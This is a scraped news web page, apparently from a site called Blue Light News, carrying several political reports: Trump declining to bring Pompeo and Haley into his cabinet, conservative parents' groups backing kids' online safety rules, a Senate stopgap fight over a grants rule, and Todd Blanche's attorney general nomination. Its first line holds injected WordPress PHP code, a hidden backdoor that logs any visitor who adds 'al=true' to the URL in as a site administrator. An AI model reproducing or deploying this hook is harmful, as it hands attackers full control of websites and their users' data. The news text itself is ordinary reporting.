// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Trump rejects Pompeo, Haley for Cabinet – Blue Light News
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Congress

Trump rejects Pompeo, Haley for Cabinet

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2 years ago

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President-elect Donald Trump announced Saturday he will not ask his former Secretary of State Mike Pompeo and U.N. ambassador Nikki Haley to join his cabinet, icing out two former cabinet members whose loyalties to him wavered.

In a Truth Social post Saturday, the former president wrote that he would not be inviting Haley or Pompeo to join the Trump administration. He added: “I very much enjoyed and appreciated working with them previously, and would like to thank them for their service to our Country. MAKE AMERICA GREAT AGAIN.”

The announcement indicates the extent to which loyalty will factor into the workings of the second Trump administration. Haley ran against Trump for president in 2024 and did not campaign with him even though she offered. Pompeo, who also served as Trump’s CIA director, flirted with a presidential bid of his own in 2024, but opted against challenging Trump for the Republican nomination. Both also endorsed Trump later in the cycle than other former Trump administration officials.

It is unclear if Haley was angling for a position within the second Trump administration. But two people familiar with the deliberations told Blue Light News that Pompeo, who campaigned for Trump, was making a concerted effort to be named to the position of defense secretary. Both were granted anonymity to discuss the sensitive deliberations.

The two people added that Pompeo’s bid to become the nation’s defense chief ran into heated opposition from close allies of the former president, including his son, Donald Trump Jr., and far-right commentator and former Fox News host Tucker Carlson.

Trump’s post came a half hour after Blue Light News asked the transition team to comment on a story being prepared about Pompeo’s bid being blocked by Trump Jr. and Carlson.

“There is a desire to not have people with presidential ambitions” use Trump cabinet posts as a launch pad, said one of the two people, a former senior Trump administration official. “He got burned by Mike previously, and by Haley, and his foreign policy views are not aligned with the president.”

Pompeo, a West Point grad and former House member, had long been among a handful of names publicly circulating as a possible defense secretary in a second Trump administration. That field had already winnowed down this week when Sen. Tom Cotton (R-Ark.), an Army veteran and vocal defense hawk, took his name out of consideration for an administration job.

A pair of House lawmakers, though, are in the mix. Rep. Michael Waltz (R-Fla.) – a former Green Beret and near constant cable news presence in defense of Trump – is seen as a favorite for the top Pentagon job. Rep. Mike Rogers (R-Ala.), who chairs the House Armed Services Committee, is also a dark horse candidate to be Trump’s defense chief.

“Ambassador Haley was proud to work with President Trump as she defended America at the United Nations. She wishes him, and all who serve, great success in moving us forward to a stronger, safer America over the next four years,” said Haley spokesperson Chaney Denton.

A spokesperson for Pompeo did not immediately respond to requests for comment. Carlson and a spokesperson for Trump Jr. also did not immediately respond to requests for comment.

Connor O’Brien, Robbie Gramer and Paul McLeary contributed to this report.

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Congress

Trump-aligned parents rally behind kids’ online safety rules

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5 hours ago

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July 30, 2026

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Parents’ rights groups aligned with the MAGA movement and other socially conservative groups are imploring congressional leaders to enact strict rules that aim to prevent online dangers for kids.

They join a chorus of more progressive parent and survivor groups urging lawmakers ahead of an upcoming Senate Commerce online kids’ safety markup to enact robust and clear “duty of care” requirements that would legally compel technology companies to prevent harm to children.

In a July 30 letter to Sens. Ted Cruz (R-Texas) and Maria Cantwell (D-Wash.), shared first with Blue Light News, the groups demanded specific standards that would require technology companies to “truly stand with, not against parents.”

So-called duty of care requirements have emerged as a central battleground in negotiations over kids’ online safety legislation. The provision would mandate tech companies to take reasonable steps to prevent and mitigate specific harms to minors on their platforms and would give regulators a legal basis to hold companies accountable if they fail to do so.

“[W]e write as parents, pro-family leaders, survivors, and child advocates to implore you to act in a way that truly empowers parents to protect our children, and to resist the rather loud voices who say that immunity for Big Tech and evisceration of state efforts in this space is somehow pro-parent,” the groups wrote. “It is not.”

They also urged lawmakers to expand on state laws rather than override them. Preemption provisions have become much more broadly unpopular in the year since Cruz tried — and failed — to attach a 10-year moratorium on the ability of states to set their own artificial intelligence laws in the GOP’s One Big Beautiful Bill Act.

“States are standing with parents and children,” the letter reads. “Your committee must build on that work, not tear it down.”

The groups signing the letter, led by Institute for Families and Technology, include MAGA-aligned Moms for Liberty, Louisiana Family Forum, South Dakota Family Voice and the Family Policy Alliance, a conservative Christian group influencing state policies.

Cruz this week postponed a broader artificial intelligence markup tentatively planned for next week until September. Instead, next week, he’s going to take up several measures on kids’ safety and chatbots.

Cruz, in an interview Wednesday, did not rule out preemption provisions in next week’s markup, telling Blue Light News, “Those are all active topics under negotiation.”

Spokespeople for Cruz and Cantwell did not return requests for comment.

The letter comes as right-leaning and family organizations have a heightened awareness of kids’ safety around technology. In fact, the issue was a big topic at last week’s SoCon Con, where there were multiple panels and speakers on kids and tech, including one on keeping kids safe and how to “beat Big Tech.”

“This is new substantive engagement that didn’t really exist before,” said a social conservative advocate granted anonymity to discuss private coalition discussions. “There’s this tipping point that is happening where these groups represent large populations at the state level and saying this is an issue that’s important to us and we’re going to engage as family groups.”

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Congress

Top senators consider blocking Trump’s grant shakeup in spending stopgap

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6 hours ago

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July 30, 2026

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Senate leaders are deciding whether to block President Donald Trump from finalizing a plan to put political appointees in charge of approving grants, Senate Appropriations Chair Susan Collins said Thursday.

“I have made very clear that I oppose the new rule,” the Maine Republican told reporters. “So I hope we’ll take advantage of this opportunity to delay it. But that’s up to the leadership.”

Senate leaders are working to finalize a bipartisan stopgap bill to keep federal agencies funded beyond the Sept. 30 government shutdown deadline, and Senate Majority Leader John Thune reiterated Thursday that he hopes to pass the measure next week.

The South Dakota Republican did not say, however, whether the legislation will stifle the Trump administration’s proposed regulation to do away with the peer-review process for awarding billions of dollars each year to state and local governments, community groups, education institutions and nonprofit organizations.

“There are a handful of issues still under consideration,” Thune told reporters Thursday afternoon. “And I’m hoping that both sides can come together and figure the last couple of remaining issues out.”

Blocking the Trump proposal is among the demands Democratic senators have included in their offers to Republicans in funding negotiations. Every Senate Democrat called earlier this month for White House budget director Russ Vought to rescind the proposal.

Some Republican senators, including Collins and Alaska Sen. Lisa Murkowski, have also been publicly supportive of heading off the regulation the Office of Management and Budget is moving to finalize as soon as this summer.

“There have been thousands, hundreds of thousands, of comments against it,” Collins said Thursday, noting that she urged Vought to hold off weeks ago, while Murkowski said that she thinks White House officials “need to pull back” on the plan.

“Everybody’s coming unglued about this,” the Alaska Republican told reporters, noting outrage from nonprofit groups, community leaders and tribal organizations. “When you start issuing grants based on political connections, that’s not good for the system here.”

Democrats are also pushing to use the upcoming funding bill to stop the Trump administration from unilaterally canceling funding Congress has approved and to reverse the cancellation of grants the Trump administration recently admitted in court that it terminated based “solely on the political identity” of the state leaders where the grants went. Republicans rejected Democrats’ calls to do the same on prior bills.

Jordain Carney contributed to this report.

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Congress

Blanche’s big meeting

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7 hours ago

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July 30, 2026

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Acting Attorney General Todd Blanche met Thursday afternoon with Sens. John Cornyn (R-Texas) and Thom Tillis (R-N.C.) — the key holdouts on his nomination as permanent AG. A spokesperson for Cornyn and a second person granted anonymity to describe the private meeting confirmed the discussion.

It took place just hours after President Donald Trump indicated he would not give in to demands made by Cornyn and Tillis to modify his May settlement agreement with the IRS — a central demand of the two senators to allow Blanche through the Senate Judiciary Committee.

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